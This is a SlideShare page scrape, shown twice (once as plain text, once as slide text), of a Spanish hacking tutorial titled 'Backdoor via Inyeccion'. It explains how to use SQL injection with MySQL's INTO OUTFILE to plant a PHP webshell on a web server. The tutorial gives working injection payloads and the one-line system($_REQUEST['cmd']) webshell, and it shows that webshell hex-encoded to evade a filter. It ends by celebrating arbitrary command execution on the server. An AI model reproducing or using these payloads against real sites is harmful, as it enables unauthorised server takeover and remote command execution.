SlideShare una empresa de Scribd logo
1 de 6
Descargar para leer sin conexión
Backdoor via Inyeccion
                  by
                Q3rv0
Cuando se trata de vulnerabilidades de inyeccion de codigo
tengo que decir que me encanta, hoy le traigo una manera de
conseguir un backdoor en el servidor a travez de una de estas.

hay veces que se logra realizar inyecciones de manera
satisfactoria dumpeando datos de passwords en texto plano o
encriptadas, pero si el panel del administrador esta desabilitado
u no se logra romper el hash o cualquier situacion negativa que
haga que esa informacion no sirva para nada, entonces que
hacemos?

quiero explicarles que esta es una manera de acceder al server
mediante la explotacion de codigo sqli, hay otras pero ya voy a
ver si escribo otro documento, todo depende de los comentarios
y de las ganas de aprender de la gente.

primero que nada, el server debe contar con ciertas
caracteristicas.

- Debe ser vulnerable a SQLI, esto es primordial

-segundo, una vez realizada la enumeracion en la db, se debe
averiguar quien es el usuario que ejecuta la db, y que privilegios
tiene, en nuestro caso solo basta que tenga privilegios de FILE.

- El mismo debe poseer permisos de escritura en el directorio web.
a no ser que hayan encontrado una LFI en el server y escriban
en /tmp para acceder al backdoor, en ese caso zafan! XD!

bueno, para este pequeño laboratorio (vamos a llamarle asi) me
arme un entorno local vulnerable.
Supongamos que ejecutamos de manera remota codigo sql en
la db y obtenemos una respuesta.

-1926 OR 5714=5714 LIMIT 1
podriamos agregarle a la sentencia

-1926 OR 5714=5714 LIMIT 1 INTO OUTFILE '/tmp/prueba2.php' LINES
TERMINATED BY 'q3rv0' --

Ahora paso a explicar


si recuerdan anteriormente les habia dicho que se requeria de un usuario
corriendo con privilegios de FILE, bien eso es para poder ejecutar la funcion
OUTFILE que nos va a volcar el contenido de un string en un fichero, en mi
caso voy a probar primero con el directorio /tmp para ver que pasa.
LINES TERMINATED BY 'q3rv0' -- esta linea nos va a insertar la cadena
q3rv0 al final de la respuesta dada por la base de datos.


Y el resultado seria algo asi para un mayor entendimiento.
sep, se creo el fichero prueba.php y ahi se ve que pudimos inyectar una cadena remotamente
jeje!...pero y si le mando un code php? algo que tome un valor dado por mi, lo ejecute usando
la funcion system y me devuelva una respuesta, algo que no tenga mas de una linea.

algo asi!

<? system($_REQUEST['cmd']); ?>

probemos a ver que onda...




: ( parece ser que filtra el codigo php, y si lo paso a hexadecimal, base64, URL encode, nose
algo que haga que la linea pase desapercibida.


Depues de varios intentos para ofuscar el code logre pasarlo por alto codificadolo en «ASCII
HEX» agregandole un 0x al principio de esta manera


-1926 OR 5714=5714 LIMIT 1 INTO OUTFILE '/tmp/prueba6.php' LINES TERMINATED
BY 0x273c3f2073797374656d28245f524551554553545b27636d64275d293b203f3e270a --
Como pueden ver se logro inyectar dentro del server.




Ahora vamos a verificar si nuestro usuario posee permisos de escritura dentro del directorio
web, si los llega a tener colamos el backdoor para tener acceso completo!!
Accedemos a la mini webshell cruzando los dedos por que se haya creado! XD!




Bien!! funciono!!, el usuario tenia permisos de escritura y ahora nosotros tenemos permisos
para ejecutar comandos a nuestro antojo XD! eso fue todo! espero que lo hayan
disfrutado...luego voy a realizar otro documento mostrando como inyectar un backdoor en la
DB, hasta ahora solo lo hemos echo en el sistema. saludos gente!

Más contenido relacionado

La actualidad más candente

Manual de squid creado por juanextk
Manual de squid creado por juanextkManual de squid creado por juanextk
Manual de squid creado por juanextkjuanextk
 
Manual de instalacion web
Manual de instalacion webManual de instalacion web
Manual de instalacion webAndres Ldño
 
Manual de instalacion samba
Manual de instalacion sambaManual de instalacion samba
Manual de instalacion sambaAndres Ldño
 
Servicio VPN con OpenVPN y Latch sobre Raspberry Pi
Servicio VPN con OpenVPN y Latch sobre Raspberry PiServicio VPN con OpenVPN y Latch sobre Raspberry Pi
Servicio VPN con OpenVPN y Latch sobre Raspberry PiTelefónica
 
Montando un Servidor FreeNX en CentOS - FreeNX-II - Instalación del Client…
Montando un Servidor FreeNX en CentOS - FreeNX-II - Instalación del Client…Montando un Servidor FreeNX en CentOS - FreeNX-II - Instalación del Client…
Montando un Servidor FreeNX en CentOS - FreeNX-II - Instalación del Client…rameses
 
Como instalar app serv
Como instalar app servComo instalar app serv
Como instalar app servuptc
 
Manual de instalacion dns
Manual de instalacion dnsManual de instalacion dns
Manual de instalacion dnsAndres Ldño
 
Vocabulario java adriana gaviria
Vocabulario java adriana gaviriaVocabulario java adriana gaviria
Vocabulario java adriana gaviriaadri-g95hotmail.com
 
Archivos batch
Archivos batchArchivos batch
Archivos batchDenisse C
 
Práctica 6. ubuntu en server
Práctica 6. ubuntu en serverPráctica 6. ubuntu en server
Práctica 6. ubuntu en serversarjonasiberia
 
Manual de squid creado por juanextk
Manual de squid creado por juanextkManual de squid creado por juanextk
Manual de squid creado por juanextkjuanextk
 
Manual FlashFXP by Dj Keller
Manual FlashFXP by Dj KellerManual FlashFXP by Dj Keller
Manual FlashFXP by Dj Kellerdegarden
 
Instalacion my sql ubuntu[xampp]
Instalacion my sql ubuntu[xampp]Instalacion my sql ubuntu[xampp]
Instalacion my sql ubuntu[xampp]Ulises Nogueron
 
Consejos para utilización de ubuntu leonardo jiménez
Consejos para utilización de ubuntu leonardo jiménezConsejos para utilización de ubuntu leonardo jiménez
Consejos para utilización de ubuntu leonardo jiménezleojt2011
 
Instalación de servidor xmpp integrado con active directory rodrigo-garcia
Instalación de servidor xmpp integrado con active directory rodrigo-garciaInstalación de servidor xmpp integrado con active directory rodrigo-garcia
Instalación de servidor xmpp integrado con active directory rodrigo-garciaRodrigo García Miranda
 

La actualidad más candente (20)

Manual de squid creado por juanextk
Manual de squid creado por juanextkManual de squid creado por juanextk
Manual de squid creado por juanextk
 
Tutorial de instalación de vnc en ubuntu 12.04
Tutorial de instalación de vnc en ubuntu 12.04Tutorial de instalación de vnc en ubuntu 12.04
Tutorial de instalación de vnc en ubuntu 12.04
 
Manual de instalacion web
Manual de instalacion webManual de instalacion web
Manual de instalacion web
 
Manual de instalacion samba
Manual de instalacion sambaManual de instalacion samba
Manual de instalacion samba
 
Servicio VPN con OpenVPN y Latch sobre Raspberry Pi
Servicio VPN con OpenVPN y Latch sobre Raspberry PiServicio VPN con OpenVPN y Latch sobre Raspberry Pi
Servicio VPN con OpenVPN y Latch sobre Raspberry Pi
 
Montando un Servidor FreeNX en CentOS - FreeNX-II - Instalación del Client…
Montando un Servidor FreeNX en CentOS - FreeNX-II - Instalación del Client…Montando un Servidor FreeNX en CentOS - FreeNX-II - Instalación del Client…
Montando un Servidor FreeNX en CentOS - FreeNX-II - Instalación del Client…
 
Como instalar app serv
Como instalar app servComo instalar app serv
Como instalar app serv
 
Manual de instalacion dns
Manual de instalacion dnsManual de instalacion dns
Manual de instalacion dns
 
Realizar un cron con centos 7
Realizar un cron con centos 7Realizar un cron con centos 7
Realizar un cron con centos 7
 
Vocabulario java adriana gaviria
Vocabulario java adriana gaviriaVocabulario java adriana gaviria
Vocabulario java adriana gaviria
 
Archivos batch
Archivos batchArchivos batch
Archivos batch
 
Programacion Batch
Programacion BatchProgramacion Batch
Programacion Batch
 
Práctica 6. ubuntu en server
Práctica 6. ubuntu en serverPráctica 6. ubuntu en server
Práctica 6. ubuntu en server
 
Manual de squid creado por juanextk
Manual de squid creado por juanextkManual de squid creado por juanextk
Manual de squid creado por juanextk
 
Servidor web
Servidor webServidor web
Servidor web
 
Manual FlashFXP by Dj Keller
Manual FlashFXP by Dj KellerManual FlashFXP by Dj Keller
Manual FlashFXP by Dj Keller
 
40 Php. Bucles Do While
40 Php. Bucles Do While40 Php. Bucles Do While
40 Php. Bucles Do While
 
Instalacion my sql ubuntu[xampp]
Instalacion my sql ubuntu[xampp]Instalacion my sql ubuntu[xampp]
Instalacion my sql ubuntu[xampp]
 
Consejos para utilización de ubuntu leonardo jiménez
Consejos para utilización de ubuntu leonardo jiménezConsejos para utilización de ubuntu leonardo jiménez
Consejos para utilización de ubuntu leonardo jiménez
 
Instalación de servidor xmpp integrado con active directory rodrigo-garcia
Instalación de servidor xmpp integrado con active directory rodrigo-garciaInstalación de servidor xmpp integrado con active directory rodrigo-garcia
Instalación de servidor xmpp integrado con active directory rodrigo-garcia
 

Similar a Backdoor via inyeccion

Fingerprinting en linux con unix_privesc_check
Fingerprinting en linux con  unix_privesc_checkFingerprinting en linux con  unix_privesc_check
Fingerprinting en linux con unix_privesc_checkq3rv0
 
reto-by-q3rv0
reto-by-q3rv0reto-by-q3rv0
reto-by-q3rv0q3rv0
 
Como crear usuarios y asignar permisos en postgre sql blog de alevsk
Como crear usuarios y asignar permisos en postgre sql   blog de alevskComo crear usuarios y asignar permisos en postgre sql   blog de alevsk
Como crear usuarios y asignar permisos en postgre sql blog de alevskantoniorua1
 
5 servidor web
5 servidor web5 servidor web
5 servidor webangeles104
 
Integración LDAP + SAMBA
Integración LDAP + SAMBAIntegración LDAP + SAMBA
Integración LDAP + SAMBAcyberleon95
 
Manual de configuracion de proxy SQUID
Manual de configuracion de proxy SQUIDManual de configuracion de proxy SQUID
Manual de configuracion de proxy SQUIDAndres Ldño
 
Conexión remota a base de datos con Oracle y MySQL
Conexión remota a base de datos con Oracle y MySQLConexión remota a base de datos con Oracle y MySQL
Conexión remota a base de datos con Oracle y MySQLIvan Luis Jimenez
 
Introduccion A Php
Introduccion A PhpIntroduccion A Php
Introduccion A Phputs
 
Introduccion A Php
Introduccion A PhpIntroduccion A Php
Introduccion A Phputs
 
Introduccion A Php
Introduccion A PhpIntroduccion A Php
Introduccion A Phputs
 
Html,php
Html,phpHtml,php
Html,phpsoftyed
 
Inyecciones SQL para Aprendices
Inyecciones SQL para AprendicesInyecciones SQL para Aprendices
Inyecciones SQL para AprendicesTensor
 

Similar a Backdoor via inyeccion (20)

Fingerprinting en linux con unix_privesc_check
Fingerprinting en linux con  unix_privesc_checkFingerprinting en linux con  unix_privesc_check
Fingerprinting en linux con unix_privesc_check
 
CTF Brainpan
CTF BrainpanCTF Brainpan
CTF Brainpan
 
Sql injection
Sql injectionSql injection
Sql injection
 
CTF Hackademic.RTB2
CTF Hackademic.RTB2CTF Hackademic.RTB2
CTF Hackademic.RTB2
 
reto-by-q3rv0
reto-by-q3rv0reto-by-q3rv0
reto-by-q3rv0
 
Como crear usuarios y asignar permisos en postgre sql blog de alevsk
Como crear usuarios y asignar permisos en postgre sql   blog de alevskComo crear usuarios y asignar permisos en postgre sql   blog de alevsk
Como crear usuarios y asignar permisos en postgre sql blog de alevsk
 
5 servidor web
5 servidor web5 servidor web
5 servidor web
 
Solucion reto breach
Solucion reto breachSolucion reto breach
Solucion reto breach
 
Integración LDAP + SAMBA
Integración LDAP + SAMBAIntegración LDAP + SAMBA
Integración LDAP + SAMBA
 
Manual de configuracion de proxy SQUID
Manual de configuracion de proxy SQUIDManual de configuracion de proxy SQUID
Manual de configuracion de proxy SQUID
 
DNS
DNSDNS
DNS
 
Internal.docx
Internal.docxInternal.docx
Internal.docx
 
Team.docx
Team.docxTeam.docx
Team.docx
 
Conexión remota a base de datos con Oracle y MySQL
Conexión remota a base de datos con Oracle y MySQLConexión remota a base de datos con Oracle y MySQL
Conexión remota a base de datos con Oracle y MySQL
 
Introduccion A Php
Introduccion A PhpIntroduccion A Php
Introduccion A Php
 
Introduccion A Php
Introduccion A PhpIntroduccion A Php
Introduccion A Php
 
Introduccion A Php
Introduccion A PhpIntroduccion A Php
Introduccion A Php
 
Html,php
Html,phpHtml,php
Html,php
 
Ejercicio 1
Ejercicio 1Ejercicio 1
Ejercicio 1
 
Inyecciones SQL para Aprendices
Inyecciones SQL para AprendicesInyecciones SQL para Aprendices
Inyecciones SQL para Aprendices
 

Backdoor via inyeccion

  • 1. Backdoor via Inyeccion by Q3rv0 Cuando se trata de vulnerabilidades de inyeccion de codigo tengo que decir que me encanta, hoy le traigo una manera de conseguir un backdoor en el servidor a travez de una de estas. hay veces que se logra realizar inyecciones de manera satisfactoria dumpeando datos de passwords en texto plano o encriptadas, pero si el panel del administrador esta desabilitado u no se logra romper el hash o cualquier situacion negativa que haga que esa informacion no sirva para nada, entonces que hacemos? quiero explicarles que esta es una manera de acceder al server mediante la explotacion de codigo sqli, hay otras pero ya voy a ver si escribo otro documento, todo depende de los comentarios y de las ganas de aprender de la gente. primero que nada, el server debe contar con ciertas caracteristicas. - Debe ser vulnerable a SQLI, esto es primordial -segundo, una vez realizada la enumeracion en la db, se debe averiguar quien es el usuario que ejecuta la db, y que privilegios tiene, en nuestro caso solo basta que tenga privilegios de FILE. - El mismo debe poseer permisos de escritura en el directorio web. a no ser que hayan encontrado una LFI en el server y escriban en /tmp para acceder al backdoor, en ese caso zafan! XD! bueno, para este pequeño laboratorio (vamos a llamarle asi) me arme un entorno local vulnerable.
  • 2. Supongamos que ejecutamos de manera remota codigo sql en la db y obtenemos una respuesta. -1926 OR 5714=5714 LIMIT 1
  • 3. podriamos agregarle a la sentencia -1926 OR 5714=5714 LIMIT 1 INTO OUTFILE '/tmp/prueba2.php' LINES TERMINATED BY 'q3rv0' -- Ahora paso a explicar si recuerdan anteriormente les habia dicho que se requeria de un usuario corriendo con privilegios de FILE, bien eso es para poder ejecutar la funcion OUTFILE que nos va a volcar el contenido de un string en un fichero, en mi caso voy a probar primero con el directorio /tmp para ver que pasa. LINES TERMINATED BY 'q3rv0' -- esta linea nos va a insertar la cadena q3rv0 al final de la respuesta dada por la base de datos. Y el resultado seria algo asi para un mayor entendimiento.
  • 4. sep, se creo el fichero prueba.php y ahi se ve que pudimos inyectar una cadena remotamente jeje!...pero y si le mando un code php? algo que tome un valor dado por mi, lo ejecute usando la funcion system y me devuelva una respuesta, algo que no tenga mas de una linea. algo asi! <? system($_REQUEST['cmd']); ?> probemos a ver que onda... : ( parece ser que filtra el codigo php, y si lo paso a hexadecimal, base64, URL encode, nose algo que haga que la linea pase desapercibida. Depues de varios intentos para ofuscar el code logre pasarlo por alto codificadolo en «ASCII HEX» agregandole un 0x al principio de esta manera -1926 OR 5714=5714 LIMIT 1 INTO OUTFILE '/tmp/prueba6.php' LINES TERMINATED BY 0x273c3f2073797374656d28245f524551554553545b27636d64275d293b203f3e270a --
  • 5. Como pueden ver se logro inyectar dentro del server. Ahora vamos a verificar si nuestro usuario posee permisos de escritura dentro del directorio web, si los llega a tener colamos el backdoor para tener acceso completo!!
  • 6. Accedemos a la mini webshell cruzando los dedos por que se haya creado! XD! Bien!! funciono!!, el usuario tenia permisos de escritura y ahora nosotros tenemos permisos para ejecutar comandos a nuestro antojo XD! eso fue todo! espero que lo hayan disfrutado...luego voy a realizar otro documento mostrando como inyectar un backdoor en la DB, hasta ahora solo lo hemos echo en el sistema. saludos gente!